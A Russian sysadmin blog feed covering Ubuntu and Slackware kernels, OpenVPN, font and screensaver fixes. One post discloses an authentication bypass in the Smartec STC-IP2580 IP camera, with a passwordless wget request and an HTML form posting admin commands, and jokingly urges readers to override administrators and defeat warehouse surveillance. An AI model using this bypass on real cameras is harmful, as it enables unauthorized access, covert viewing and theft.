&lt;p&gt;В случае неуспешного запуска, информация об ошибках содержится в системных журналах /var/log/messages и /var/log/syslog.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/318307562281607377-5983666813467319530?l=xeim.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xeim.blogspot.com/feeds/5983666813467319530/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=318307562281607377&amp;postID=5983666813467319530' title='Комментарии: 1'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/5983666813467319530'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/5983666813467319530'/><link rel='alternate' type='text/html' href='http://xeim.blogspot.com/2010/01/smart-linux.html' title='Мониторинг жестких дисков с помощью технологии S.M.A.R.T. в Linux'/><author><name>xeim</name><uri>http://www.blogger.com/profile/01596021427561543562</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-318307562281607377.post-6105513483799627906</id><published>2009-11-02T13:26:00.001+10:00</published><updated>2009-11-02T13:29:08.308+10:00</updated><title type='text'>Стандартные ядра в Ubuntu 9.10 Karmic Koala</title><content type='html'>&lt;p&gt;На прошлой неделе вышла в свет очередная версия замечательной операционной системы Ubuntu. В этой статье рассмотрим стандартные ядра включенные в ее состав. Список можно получить с помощью команды:&lt;/p&gt;

&lt;pre&gt;administrator@ubuntu910:~$ aptitude search linux-image- | grep -v 2.6
p  linux-image-386          - Generic Linux kernel image
p  linux-image-ec2          - Linux kernel image for ec2 machines
i  linux-image-generic      - Generic Linux kernel image
p  linux-image-generic-pae  - Generic Linux kernel image
p  linux-image-rt           - Rt Linux kernel image
p  linux-image-server       - Linux kernel image on Server Equipment.
p  linux-image-virtual      - Linux kernel image for virtual machines&lt;/pre&gt;

&lt;p&gt;Каждый из этих пакетов является метапакетом, который всегда зависит от самой последней версии конкретной сборки ядра. Не буду унижать читателя описанием того, как устанавливать или удалять пакеты в Ubuntu. Вместо этого кратко рассмотрим возможные варианты.&lt;/p&gt;


&lt;h2&gt;Generic&lt;/h2&gt;

&lt;p&gt;Это стандартное ядро для desktop-версии дистрибутива. Соотвественно оно оптимизировано для наилучшей работы прикладных пользовательских программ. Устанавливается по умолчанию, если вы специально не меняли ядро, то у вас работает именно оно. Одинаково хорошо подходит для всех современных (и не очень современных) процессоров Intel и AMD.&lt;/p&gt;


&lt;h2&gt;Generic-PAE&lt;/h2&gt;

&lt;p&gt;Нововведение в версии 9.10, и это ядро меня особенно порадовало. Полностью повторяет конфигурацию Generic ядра, за одним исключением &amp;mdash; включена поддержка технологии &lt;a href="http://ru.wikipedia.org/wiki/PAE"&gt;PAE&lt;/a&gt;. Технология PAE позволяет использовать до 64 Гб оперативной памяти в 32-х разрядной операционной системе. При использовании обычного Generic ядра проблематично заставить операционную систему увидеть более 3 Гб оперативной памяти. Однако в современных реалиях 4 Гб памяти даже на ноутбуках уже не редкость, не говоря уже про настольные компьютеры, когда и дешевые материнские платы поддерживают 4, 8, 16 Гб памяти. До Ubuntu 9.10 альтернативой было либо использование Server версии ядра, либо ручная пересборка ядра с нужными опциями конфигурации.&lt;/p&gt;


&lt;h2&gt;386&lt;/h2&gt;

&lt;p&gt;Еще одна слегка модифицированная версия Generic ядра. Данное ядро собрано с оптимизацией для архитектуры центрального процессора i486, в отличии от Generic ядра где применяется оптимизация под архитектуру i586. Иногда встречается ошибка, когда владельцы процессоров Intel устанавливают данное ядро в надежде, что оно подходит им больше чем Generic. Это не так! Ядро 386 предназначено для очень старых процессоров, старее Pentium Pro, это процессоры выпущенные до 1996 года!&lt;/p&gt;


&lt;h2&gt;Server&lt;/h2&gt;

&lt;p&gt;Это стандартное ядро для server-версии дистрибутива. Планировщик процессов, планировщик ввода-вывода, таймеры ядра оптимизированы для серверного применения, т.е. для работы процессов-демонов. Сборка произведена для процессорной архитектуры i686. Также включена поддержка 64 Гб оперативной памяти &amp;mdash; технология PAE.&lt;/p&gt;


&lt;h2&gt;Virtual&lt;/h2&gt;

&lt;p&gt;Данная версия ядра предназначена для применения когда Ubuntu запускается в виртуализированной среде, например внутри какой-либо виртуальной машины.&lt;/p&gt;


&lt;h2&gt;EC2&lt;/h2&gt;

&lt;p&gt;Ещё одно нововведение в Ubuntu 9.10. Это ядро нужно для работы с технологией &lt;a href="http://www.ubuntu.com/cloud"&gt;Ubuntu Enterprise Cloud/Elastic Computing Cloud (EC2)&lt;/a&gt;. Если вы не занимаетесь этими самыми "облаками", то просто игнорируйте данное ядро.&lt;/p&gt;


&lt;h2&gt;RT&lt;/h2&gt;

&lt;p&gt;Версия ядра с патчами для минимизации времени отклика. Попытка сделать из Linux операционную систему реального времени.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/318307562281607377-6105513483799627906?l=xeim.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xeim.blogspot.com/feeds/6105513483799627906/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=318307562281607377&amp;postID=6105513483799627906' title='Комментарии: 7'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/6105513483799627906'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/6105513483799627906'/><link rel='alternate' type='text/html' href='http://xeim.blogspot.com/2009/11/ubuntu-910-karmic-koala.html' title='Стандартные ядра в Ubuntu 9.10 Karmic Koala'/><author><name>xeim</name><uri>http://www.blogger.com/profile/04215192691734396462</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-318307562281607377.post-8989687203188198609</id><published>2009-05-28T17:37:00.002+11:00</published><updated>2009-05-28T17:40:27.542+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='коротко'/><title type='text'>Материнская плата ASUS P5QL-EM</title><content type='html'>&lt;ol&gt;
&lt;li&gt;Возможно для вас важна такая характеристика материнской платы как максимальный объём поддерживаемой памяти. Тогда ни в коем случае не покупайте &lt;a href="http://www.asus.com/product.aspx?P_ID=SL98nccy1aP7AVfj"&gt;Asus&amp;nbsp;P5QL-EM&lt;/a&gt;. Фактически заявленного объема в 8Гб вам достичь не удасться, только 4Гб. Точнее можно, но для этого нужна особо хитрая специальная память, которой в обычных замкадских магазинах не купишь. До этого момента я полностью доверял компании Asus и раньше она в подобном обмане потребителей замечена не была.&lt;/li&gt;

&lt;li&gt;На данной материнской плате Ubuntu 8.04 LTS при настройках BIOS по умолчанию не видит SATA-устройств. Чтобы исправить эту ситуацию необходимо в BIOS на вкладке &amp;laquo;Main&amp;raquo; выбрать пункт &amp;laquo;Storage Configuration&amp;raquo; и изменить значение параметра &amp;laquo;Configure SATA As&amp;raquo; c &amp;laquo;IDE&amp;raquo; на &amp;laquo;AHCI&amp;raquo;. После этого всё устанавливается и загружается нормально, вот такое колдунство.&lt;/li&gt;
&lt;/ol&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/318307562281607377-8989687203188198609?l=xeim.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xeim.blogspot.com/feeds/8989687203188198609/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=318307562281607377&amp;postID=8989687203188198609' title='Комментарии: 3'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/8989687203188198609'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/8989687203188198609'/><link rel='alternate' type='text/html' href='http://xeim.blogspot.com/2009/05/asus-p5ql-em.html' title='Материнская плата ASUS P5QL-EM'/><author><name>xeim</name><uri>http://www.blogger.com/profile/04215192691734396462</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-318307562281607377.post-8238000225668019433</id><published>2009-05-20T16:19:00.003+11:00</published><updated>2009-05-20T16:27:07.741+11:00</updated><title type='text'>Обновление ядра slackware из стандартных пакетов</title><content type='html'>&lt;p&gt;Задача такая: есть продакшн-сервер на Slackwaree&amp;nbsp;9.1. Необходимо обновить на нем ядро до более-менее современой версии. Как ни жалко расставаться с последним в нашей конторе, верно служившим ядром 2.4-ой версии, но жизнь не стоит на месте.&lt;/p&gt;

&lt;p&gt;Самостоятельная сборка пакета с ядром для slackware&amp;nbsp;&amp;mdash; задача простая, если знаешь что делать :-). Но я сторонник максимального использования стандартных компонентов, созданных официальным мейнтейнером. А учитывая что ядро это довольно  независимая часть от остальной системы, то легко можно использовать стандартные пакеты от старших версий slackware.&lt;/p&gt;

&lt;p&gt;Итак, на текущий момент, последняя версия Slackwaree&amp;nbsp;12.2 с ядром 2.6.27.7&amp;nbsp;&amp;mdash; неплохо. Нам понадобятся следующие пакеты:&lt;/p&gt;
&lt;p&gt;&lt;a href="ftp://ftp.slackware.com/pub/slackware/slackware-12.2/slackware/a/kernel-generic-smp-2.6.27.7_smp-i686-1.tgz"&gt;&lt;tt&gt;kernel-generic-smp-2.6.27.7_smp-i686-1.tgz&lt;/tt&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="ftp://ftp.slackware.com/pub/slackware/slackware-12.2/slackware/a/kernel-modules-smp-2.6.27.7_smp-i686-1.tgz"&gt;&lt;tt&gt;kernel-modules-smp-2.6.27.7_smp-i686-1.tgz&lt;/tt&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="ftp://ftp.slackware.com/pub/slackware/slackware-12.2/slackware/a/mkinitrd-1.3.2-i486-4.tgz"&gt;&lt;tt&gt;mkinitrd-1.3.2-i486-4.tgz&lt;/tt&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Я выбрал generic-smp версию ядра, как наиболее подходящюю под своё железо. Надеюсь вы нигде не используете huge версии ядер, которые подходят только для начальной установки системы? Подробнее можно прочитать здесь: &amp;laquo;&lt;a href="http://xeim.blogspot.com/2008/04/slackware-12.html"&gt;Стандартные ядра в Slackware&amp;nbsp;12&lt;/a&gt;&amp;raquo;. Для установки generic-ядра понадобится утилита mkinitrd. Т.к. в Slackware&amp;nbsp;9.1 ее нет в стандартных репозитариях, также берем пакет из Slackware&amp;nbsp;12.2.&lt;/p&gt;

&lt;p&gt;Выкачиваем все эти пакеты в какую-либо директорию и выполняем там команду:&lt;/p&gt;
&lt;pre&gt;installpkg *.tgz&lt;/pre&gt;

&lt;p&gt;Далее остается настроить загрузчик lilo на использование нового ядра. Как это сделать так же можно прочитать по приведенной выше ссылке.&lt;/p&gt;

&lt;p&gt;Всё, после перезагрузки сервера можно наслаждаться каттинг эдж ядром из стандартного пакета на старенькой ОС:&lt;/p&gt;
&lt;pre&gt;# cat /etc/slackware-version 
Slackware 9.1.0
# uname -sr 
Linux 2.6.27.7-smp&lt;/pre&gt;

&lt;p&gt;P.S. Надеюсь вы понимаете, что предже чем проделывать всё это на рабочем сервере, необходимо провести эксперимент на тестовом :-)&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/318307562281607377-8238000225668019433?l=xeim.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xeim.blogspot.com/feeds/8238000225668019433/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=318307562281607377&amp;postID=8238000225668019433' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/8238000225668019433'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/8238000225668019433'/><link rel='alternate' type='text/html' href='http://xeim.blogspot.com/2009/05/slackware.html' title='Обновление ядра slackware из стандартных пакетов'/><author><name>xeim</name><uri>http://www.blogger.com/profile/04215192691734396462</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-318307562281607377.post-7400360678958448362</id><published>2009-03-04T16:26:00.006+10:00</published><updated>2009-03-04T16:50:23.806+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='видеонаблюдение'/><title type='text'>Программная уязвимость IP камеры Smartec STC-IP2580</title><content type='html'>&lt;p&gt;Я не специалист по видеонаблюдению вообще и по IP-камерам в частности. Но мне, как системному администратору, была поставлена задача. Софт, поставляемый с камерой &lt;a href="http://www.smartec-cctv.ru/news/dome_ip-camera.htm"&gt;Smartec STC-IP2580&lt;/a&gt; часто переглючивает. На текущий момент, нам известен лишь один способ полечить эти глюки. Это перезагрузка камеры через её веб-интерфейс. Мне нужно было автоматизировать этот процесс, т.е. программно выполнять перезагрузку камер по расписанию.&lt;/p&gt;

&lt;p&gt;Приступив к решению задачи, я выяснил что доступ к веб-интерфейсу камеры, как и полагается, закрыт паролем. Сначала я предполагал использовать пример из документации утилиты wget для доступа к запороленным ресурсам сайта:&lt;/p&gt;

&lt;pre&gt;# сначала залогинится и сохранить сессионный cookie
wget --save-cookies cookies.txt \
     --post-data 'user=foo&amp;password=bar' \
     http://server.com/auth.php

# используя сохраненный cookie получить доступ
# к закрытым страницам сайта
wget --load-cookies cookies.txt \
    -p http://server.com/interesting/article.php&lt;/pre&gt;

&lt;p&gt;Предположим что (это параметры по умолчанию):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ip-адрес камеры 192.168.1.1&lt;/li&gt;
&lt;li&gt;логин Admin&lt;/li&gt;
&lt;li&gt;пароль 123456&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;По-быстрому разобрав html-код формы авторизации, я выяснил имена параметров. Каково же было моё удивление, когда выполнив первую команду:&lt;/p&gt;

&lt;pre&gt;wget --save-cookies cookies.txt                               \
     --post-data "LOGIN_ACCOUNT=Admin&amp;LOGIN_PASSWORD=123456"  \
     http://192.168.1.1/cgi-bin/videoconfiguration.cgi&lt;/pre&gt;

&lt;p&gt;Я обнаружил пустой файл cookie! В дальнейшем мои самые худшие опасения подтвердились&amp;nbsp;&amp;mdash; для доступа к ЛЮБЫМ функциям веб-интерфейса пароль не требуется совершенно!!! Авторизация на веб-интерфейсе камеры&amp;nbsp;&amp;mdash; это защита от честных людей. В частности, необходимая мне команда перезагрузки камеры выглядит так:&lt;/p&gt;

&lt;pre&gt;wget --post-data "SAVE_ADMIN=SAVE_ADMIN" \
     http://192.168.1.1/cgi-bin/videoconfiguration.cgi&lt;/pre&gt;

&lt;p&gt;Вы видите где-нибудь в этой команде использование пароля? Я тоже не вижу. Тем не менее, команда прекрасно работает.&lt;/p&gt;

&lt;p&gt;Злобный одмин в организации сменил для ip-камеры стандартный пароль, а вам всё равно хочется порулить её настройками? Не беда, создайте html страничку следующего содержания:&lt;/p&gt;

&lt;pre&gt;&amp;lt;html&amp;gt;
  &amp;lt;body&amp;gt;
    &amp;lt;form
      action="http://192.168.1.1/cgi-bin/videoconfiguration.cgi"
      method="post"
    &amp;gt;
      &amp;lt;input type="hidden" name="SYSTEM_ADMIN" value="SYSTEM_ADMIN"&amp;gt;
      &amp;lt;input type="submit" value="OK"&amp;gt;
    &amp;lt;/form&amp;gt;
  &amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;&lt;/pre&gt;

&lt;p&gt;Далее откройте её в браузере, нажмите кнопку &amp;laquo;OK&amp;raquo; и пусть администратор подавится своим паролем! Хотите наблюдать за изображением с камеры, не имея на то полномочий? Легко! Система видеонаблюдения за складом в вашей организации основана на IP камерах Smartec STC IP2580, а на складе много всего вкусного? Ну теперь вы знаете как обмануть это дурацкое видеонаблюдение :-)&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/318307562281607377-7400360678958448362?l=xeim.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xeim.blogspot.com/feeds/7400360678958448362/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=318307562281607377&amp;postID=7400360678958448362' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/7400360678958448362'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/7400360678958448362'/><link rel='alternate' type='text/html' href='http://xeim.blogspot.com/2009/03/ip-smartec-stc-ip2580-ip.html' title='Программная уязвимость IP камеры Smartec STC-IP2580'/><author><name>xeim</name><uri>http://www.blogger.com/profile/04215192691734396462</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-318307562281607377.post-1384328673844726453</id><published>2009-02-09T16:24:00.001+10:00</published><updated>2009-02-09T16:25:58.666+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ubuntu'/><title type='text'>Хранитель экрана в ubuntu (gnome) не принимает пароль?</title><content type='html'>&lt;p&gt;В результате неизвестных науке действий около года назад у меня случилось несчастье. А именно, как написано в заголовке, хранитель экрана gnome перестал принимать правильный пароль. С наскоку разобраться не получилось, полная переустановка пакета gnome-screensaver не помогла. В качестве временного решения использовал выход в текстовую консоль и принудительное завершение процесса gnome-screensaver.&lt;/p&gt;

&lt;p&gt;Но однажды у меня выдалось немного свободного времени, а также обострилось желание решить эту проблему. Копание в логах дало невнятные сообщения:&lt;/p&gt;

&lt;pre&gt;maxim@ubuntu610:~$ grep gnome-screensaver /var/log/auth.log
Feb  2 08:30:20 buntu610 gnome-screensaver-dialog: (pam_unix) could not recover authentication token
Feb  2 08:30:20 buntu610 gnome-screensaver-dialog: (pam_unix) authentication failure; logname= uid=1000 euid=1000 tty=:0.0 ruser= rhost=  user=maxim&lt;/pre&gt;

&lt;p&gt;Дальше спросил у великого Google. Пол-часа поисков дало &lt;a href="https://bugs.launchpad.net/ubuntu/+source/gnome-screensaver/+bug/227994"&gt;описание проблемы и ее решение на launchpad.net&lt;/a&gt;. А именно владелец и группа файла /etc/shadow должны быть соотвественно root и shadow. Если это не так, то следующая команда исправит ситуацию:&lt;/p&gt;

&lt;pre&gt;sudo chown root:shadow /etc/shadow&lt;/pre&gt;

&lt;p&gt;После этого проблема была решена.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/318307562281607377-1384328673844726453?l=xeim.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xeim.blogspot.com/feeds/1384328673844726453/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=318307562281607377&amp;postID=1384328673844726453' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/1384328673844726453'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/1384328673844726453'/><link rel='alternate' type='text/html' href='http://xeim.blogspot.com/2009/02/ubuntu-gnome.html' title='Хранитель экрана в ubuntu (gnome) не принимает пароль?'/><author><name>xeim</name><uri>http://www.blogger.com/profile/04215192691734396462</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-318307562281607377.post-8314274471858517114</id><published>2008-12-19T16:53:00.003+10:00</published><updated>2008-12-19T17:09:02.641+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><title type='text'>Обновление OpenVPN до версии 2.1</title><content type='html'>&lt;p&gt;Зачем это понадобилось? Раньше на маршрутизаторе работал в режиме сервера старенький openvpn-2.0.7 используя протокол udp. Работал он хорошо, но была у него проблемка. Маршрутизатор подключен к нескольким провайдерам и соответственно у него имеется несколько сетевых интерфейсов. Так вот, пока у openvpn-сервера отсутствовали подключения openvpn-клиентов, то первый клиент мог подключится через любой сетевой интерфейс. Но чуть появлялось первое клиентское подключение, то все последующие соединения могли быть установлены только через тот же самый интерфейс, т.е. через того же самого провайдера.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Формулируя другими словами, openvpn сервер версии 2.0 не может принимать клиентские udp подключения через разные сетевые интерфейсы.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Предполагаемые варианты решения:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Вместо udp использовать протокол tcp. Но во-первых, существует точка зрения что пропускать протокол &lt;a href="http://sites.inka.de/~W1011/devel/tcp-tcp.html"&gt;tcp поверх протокола tcp это плохо&lt;/a&gt;. Во-вторых, хотелось бы избежать изменений в конфигурационных файлах клиентов, потому что их много и некоторые находятся в других городах.&lt;/li&gt;
&lt;li&gt;Использовать bridging. По непроверенным данным, если несколько сетевых интерфейсов объединить в один мост, данной проблемы не наблюдается. Зато появляются другие, навроде свободного прохождения широковещательных пакетов между клиентами.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://openvpn.net/index.php/downloads.html"&gt;Обновить openvpn&lt;/a&gt; на маршрутизаторе до версии 2.1. В описании новых возможностей прямо говорится о решении данной проблемы: &amp;quot;&lt;strong&gt;multihome&lt;/strong&gt; feature to enable UDP-based multihoming of the server on multiple interfaces&amp;quot;. Единственный недостаток, на текущий момент OpenVPN 2.1 имеет статус бета-версии 2.1rc15.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Еще раз подчеркну, что выше перечислены только предполагаемые варианты решения. Фактически был опробован и оставлен в работе только вариант №3.&lt;/p&gt;

&lt;p&gt;Подробно не буду останавливаться на процессе компиляции openvpn, т.к. пакетная система для каждого дистрибутива linux своя. Универсальный же способ из &lt;tt&gt;configure&lt;/tt&gt;, &lt;tt&gt;make&lt;/tt&gt; и &lt;tt&gt;make install&lt;/tt&gt;, которым грешат многие статьи, гарантированно превращает вашу файловую систему в помойку. Для используемой у меня Slackware я уже описывал процесс &lt;a href="http://xeim.blogspot.com/2007/10/slackware.html"&gt;пересборки tgz пакетов&lt;/a&gt;, как раз на примере openvpn. Всё что необходимо сделать&amp;nbsp;&amp;mdash; это выкачать свежий архив исходников и поменять версию openvpn в slackbuild-скрипте.&lt;/p&gt;

&lt;p&gt;Обновление openvpn-сервера в целом прошло гладко. Единственное дополнение пришлось внести в конфигурационный файл openvpn-сервера, для совместимости режима вызова внешних скриптов:

&lt;pre&gt;# compatibility with OpenVPN 2.0
script-security 3 system&lt;/pre&gt;

&lt;p&gt;Клиенты заработали с полностью неизмененными, старыми конфигурационными файлами. Только в логах установки соединения для старых OpenVPN 2.0 клиентов стало появлятся сообщение:&lt;/p&gt;

&lt;pre&gt;Options error: Unrecognized option or missing parameter(s) in [PUSH-OPTIONS]:2: topology (2.0.9)&lt;/pre&gt;

&lt;p&gt;На это сообщение можно смело не обращать внимание до тех пор пока вам не вздумается на сервере OpenVPN 2.1 установить  новый параметр конфигурации topology в значение, отличное от значения по умолчанию.&lt;/p&gt;

&lt;p&gt;Несмотря на статус бета-версии никаких проблем в работе нового openvpn не наблюдается. Наоборот, новая для OpenVPN 2.1, возможность udp multihome заработала просто прекрасно. Теперь клиенты могут использовать для соединения того провайдера, который им удобнее, дешевле и т.д.&lt;/p&gt;


&lt;p&gt;&lt;strong&gt;P.S.&lt;/strong&gt; При сборке пакета для Slackware 9.1 штатный gcc-3.2.3 ниасилил сборку нового openvpn со следующим сообщением об ошибке:&lt;/p&gt;

&lt;pre&gt;ssl.c:3402:1: directives may not be used inside a macro argument
ssl.c:3401:92: unterminated argument list invoking macro &amp;quot;msg&amp;quot;
ssl.c: In function `key_method_2_read':
ssl.c:3403: invalid type argument of `-&amp;gt;'
ssl.c:3408: syntax error before ')' token
make[2]: *** [ssl.o] Error 1&lt;/pre&gt;

&lt;p&gt;Тут ситуация не совсем понятна. Толи это убогая старая версия препроцессора С, толи разработчики OpenVPN используют приёмы программирования на грани разрешенного. Во всяком случае версия gcc-4.2.4 от новой Slackware 12.2 собрал этот пакет без проблем. Т.к. компилятор языка C написан на языке C, то сначала пришлось скомпилировать пакет с компилятором, обновить пакет gcc, а потом уж компилировать openvpn :)&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/318307562281607377-8314274471858517114?l=xeim.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xeim.blogspot.com/feeds/8314274471858517114/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=318307562281607377&amp;postID=8314274471858517114' title='Комментарии: 8'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/8314274471858517114'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/8314274471858517114'/><link rel='alternate' type='text/html' href='http://xeim.blogspot.com/2008/12/openvpn-21.html' title='Обновление OpenVPN до версии 2.1'/><author><name>xeim</name><uri>http://www.blogger.com/profile/04215192691734396462</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>8</thr:total></entry><entry><id>tag:blogger.com,1999:blog-318307562281607377.post-8817155481324567965</id><published>2008-11-25T11:22:00.001+10:00</published><updated>2008-11-25T11:25:40.836+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='slackware'/><title type='text'>Проблема при доустановке X-ов и KDE в Slackware</title><content type='html'>&lt;p&gt;Симптомы. Дистрибутив Slackware 12.1. Сначала устанавливается только консольная часть системы. Позже, при доустановке X-ов и KDE, иксы отказываются запускаться с сообщением в &lt;tt&gt;/var/log/Xorg.0.log&lt;/tt&gt;:&lt;/p&gt;

&lt;pre&gt;Fatal server error:
could not open default font 'fixed'&lt;/pre&gt;

&lt;p&gt;После долгих исканий помог следующий рецепт:&lt;/p&gt;

&lt;pre&gt;cd /
/var/log/setup/setup.04.mkfontdir
/var/log/setup/setup.05.fontconfig&lt;/pre&gt;

&lt;p&gt;Необходимо обратить внимание что первая команда &lt;tt&gt;cd&lt;/tt&gt; важна, скрипты корректно отрабатывают только при запуске из корневой директории.&lt;/p&gt;

&lt;p&gt;При установке системы сразу с X-ами такого не наблюдается, т.к. запуск этих скиптов являются частью установки системы. Жаль, но это явная недорабтка в моём любимом дистрибутиве Linux. Зафиксировал описание отдельным постом, т.к. поиски решения в интернет затруднены. Результаты гугления уводят &lt;a href="http://www.linuxcenter.ru/lib/articles/soft/x_fixed_err.phtml"&gt;по ложному направлению&lt;/a&gt; проблем с неким X Font Server. Справедливости ради при должном упорстве &lt;a href="http://www.linux.org.ru/view-message.jsp?msgid=3041695#3042452"&gt;описание решения&lt;/a&gt; можно найти.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/318307562281607377-8817155481324567965?l=xeim.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xeim.blogspot.com/feeds/8817155481324567965/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=318307562281607377&amp;postID=8817155481324567965' title='Комментарии: 1'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/8817155481324567965'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/8817155481324567965'/><link rel='alternate' type='text/html' href='http://xeim.blogspot.com/2008/11/x-kde-slackware.html' title='Проблема при доустановке X-ов и KDE в Slackware'/><author><name>xeim</name><uri>http://www.blogger.com/profile/04215192691734396462</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-318307562281607377.post-5929326766495546682</id><published>2008-11-06T15:08:00.000+10:00</published><updated>2008-11-06T15:11:16.879+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='mc9090'/><title type='text'>Программно-аппаратные особенности терминалов Motorola MC9090</title><content type='html'>&lt;p&gt;Я уже писал про &lt;a href="http://xeim.blogspot.com/2008/10/motorola-mc9090.html"&gt;программы для терминалов Motorola MC9090&lt;/a&gt;. Продолжаю свои заметки про этот промышленный терминал. Основная особенность &amp;mdash; всего много.&lt;/p&gt;

&lt;h3&gt;4 вида памяти&lt;/h3&gt;

